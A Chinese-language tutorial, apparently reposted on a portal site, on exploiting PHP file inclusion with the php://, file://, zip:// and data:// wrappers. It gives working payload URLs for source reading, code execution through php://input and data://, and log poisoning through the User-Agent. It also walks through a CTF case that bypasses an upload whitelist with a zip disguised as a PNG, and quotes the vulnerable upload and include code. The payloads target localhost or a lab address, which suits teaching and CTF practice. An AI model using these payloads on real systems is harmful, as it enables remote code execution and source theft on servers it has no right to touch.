您好,欢迎访问一九零五行业门户网

一起来分析文件包含及PHP伪协议利用

本篇文章给大家带来了关于php的相关问题,其中主要介绍了关于文件包含和php伪协议的相关内容,文件包含漏洞是“代码注入”的一种,下面一起来看一下,希望对大家有帮助。
推荐学习:《php视频教程》
文件包含文件包含漏洞是“代码注入”的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。“代码注入”的典型代表就是文件包含。
要想成功利用文件包含漏洞进行攻击,需要满足以下两个条件:
web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件;
用户能够控制该动态变量。
常见的导致文件包含的函数:
php:include()、include_once()、require()、require_once()等;
1.php文件包含可以直接执行包含文件的代码,包含的文件格式不受任何限制
在 php 中提供了四个文件包含函数:
(1) require: 找不到被包含的文件时会产生致命错误(e_compile_error),并停止脚本;
(2) include:找不到被包含的文件时只会产生一个(e_warinng),脚本将继续执行;
(3) require_once:与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含;
php伪协议php伪协议,事实上是其支持的协议与封装协议。而其支持的协议有:
file:// — 访问本地文件系统php:// — 访问各个输入/输出流(i/o streams)data:// — 数据(rfc 2397)zip:// — 压缩流
all_url_include在php 5.2以后添加,安全方便的设置(php的默认设置)为:allow_url_fopen=on;all_url_include=off;
allow_url_fopen = on (允许打开url文件,预设启用)
allow_url_fopen = off (禁止打开url文件)
allow_url_include = off (禁止引用url文件,新版增加功能,预设关闭)
allow_url_include = on (允许引用url文件,新版增加功能)
file协议file:// 文件系统是 php 使用的默认封装协议,展现了本地文件系统。
使用file://协议去包含本地的phpinfo.php
http://localhost/www/lfi.php?file=file://f:\phpstudy\phpstudy_pro\www\www\phpinfo.php
php协议php:// 访问各个输入/输出流(i/o streams),在ctf中经常使用的是php://filter和php://input
php://filter用于读取源码:
php://input用于执行php代码。
http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php
php://filter读取php文件时候需要base64编码
php://input
allow_url_include = onphp://input + [post data]执行php代码
需要***allow_url_include = on***
http://localhost/www/lfi.php?file=php://inputpost <?system('ipconfig')?>
allow_url_include = off不过一般大部分情况下,allow_url_include 为默认关闭状态,
就不能包含post数据了,这种情况下可以包含apache日志或者错误日志记录
首先需要fuzz大法,爆破出日志的路径,
为了测试方便,我先将日志的内容清空,方便演示
访问该网址,通过报错将代码写入日志中
注意:这里要使用burp抓包去访问,不然代码会被url编码写入日志,就不能执行了
也可以将代码写入 user-agent中
http://localhost/www/lfi.php?file=<?php phpinfo();?>
我的日志路径为:
f:\phpstudy\phpstudy_pro\extensions\apache2.4.39\logs\access.log.1631750400
使用file://伪协议去读取日志,发现phpinfo被成功执行了
http://localhost/www/lfi.php?file=file://f:\phpstudy\phpstudy_pro\extensions\apache2.4.39\logs\access.log.1631750400
zip://协议** zip:// & bzip2:// & zlib:// **均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx等等。
这里分析一个文件上传和文件包含结合的ctf案例
首先分析文件上传的源代码
<html><form action="" enctype="multipart/form-data" method="post" name="upload">file:<input type="file" name="file" /><br> <input type="submit" value="upload" /></form><?phpif(!empty($_files["file"])){ echo $_files["file"]; $allowedexts = array("gif", "jpeg", "jpg", "png"); @$temp = explode(".", $_files["file"]["name"]); $extension = end($temp); if (((@$_files["file"]["type"] == "image/gif") || (@$_files["file"]["type"] == "image/jpeg") || (@$_files["file"]["type"] == "image/jpg") || (@$_files["file"]["type"] == "image/pjpeg") || (@$_files["file"]["type"] == "image/x-png") || (@$_files["file"]["type"] == "image/png")) && (@$_files["file"]["size"] < 102400) && in_array($extension, $allowedexts)) { //move_uploaded_file($_files["file"]["tmp_name"], "upload/" . $_files["file"]["name"]); echo "file upload successful!save in: " . "upload/" . $_files["file"]["name"]; } else { echo "upload failed!"; }}echo $_files["file"]["tmp_name"];?></html>
分析源代码发现,文件上传采用了白名单限制策略,只能上传
“gif, “jpeg”, “jpg”, png四种后缀名的文件。
分析文件包含的源代码
<html>tips: the parameter is file! :) <!-- upload.php --></html><?php @$file = $_get["file"]; echo $file; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== false || strlen($file)>=70)        {            echo <p> error! </p>;        }        else        {            include($file.'.php');        }    }?>
分析文件包含源代码,发现限制了部分伪协议和%00截断,且在include中自动添加了php后缀名,但是没有限制zip伪协议。
综上分析可以发现,在文件包含中利用zip伪协议,可以创建test.zip的压缩包,里面放着test.php的文件。
在文件上传时候将后缀名zip修改为png的后缀名,
test.php中写入木马
<?phpphpinfo();?>
如下图所示
图片上传成功之后,利用文件包含和zip://协议去读取test.png中的test.php,发现phpinfo()被执行了,说明poc验证成功
http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test
data://条件:
allow_url_fopen:onallow_url_include :on
访问网址
http://localhost/www/lfi.php?file=data://text/plain,<?php phpinfo();?>
也可以使用base64编码,防止代码被过滤掉
file=data://text/plain,base64;pd9wahagcghwaw5mbygppz4=
推荐学习:《php视频教程》
以上就是一起来分析文件包含及php伪协议利用的详细内容。
其它类似信息

推荐信息